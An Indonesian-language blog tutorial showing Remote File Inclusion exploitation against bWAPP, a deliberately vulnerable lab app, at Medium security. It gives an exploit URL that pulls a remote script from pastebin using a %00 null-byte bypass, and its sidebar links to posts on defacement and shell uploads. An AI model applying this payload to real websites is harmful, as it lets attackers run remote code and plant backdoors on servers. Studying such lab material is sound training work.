• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

bWAPP Remote File Inclusion Medium Security Level

December 26, 2018 by Jack Wilder Leave a Comment

bWAPP Remote File Inclusion Medium Security Level – Remote File Incusion (RFI) adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses. Tujuan hacker melakukan serangan ini adalah menyisipkan script berbahaya dari domain luar biasanya berupa backdoor/shell ke dalam server target.

Untuk emmahami bagaimana celah ini bekerja kalian bisa gunakan bWAPP. Nah disini saya akan membahas bagaimana cara mengeksploitasi celah RFI pada security level Medium. Disini kita bisa membypass nya menggunakan null %00.

Kita bisa memanggil shell yang kita upload di situs lain. Dalam kasus ini saya hanya akan melihat versi kernel dan juga OS yang digunakan. Saya upload scriptnya di pastebin.

  • https://pastebin.com/raw/2ThL4Pxn

Exploit:

http://bwapp/bWAPP/rlfi.php?language=https://pastebin.com/raw/2ThL4Pxn%00&action=go

Result:

Oke sekian tutorial kali ini, semoga bermanfaat. Jika ada yang kurang jelas silahkan ditanyakan.

Shares

Filed Under: RFI

Reader Interactions

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Surge.sh Custom Domain or Subdomain Takeover

WordPress Army Knife CSRF File Upload Vulnerability

Azure Traffic Manager Custom Domain or Subdomain Takeover

Exploit Drupal Core 7.x Auto SQL Injection dan Upload Shell

WordPress 4.7.0/4.7.1 Content Injection Exploit

Cara Mendapatkan RDP Gratis Dengan Shell Windows

Mass Deface setelah Rooting Server

Zendesk Custom Domain or Subdomain Takeover

Tool Deface Opencart Bruteforce and Upload Image

Exploit WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability

LinuxSec / 71 queries in 0.09 seconds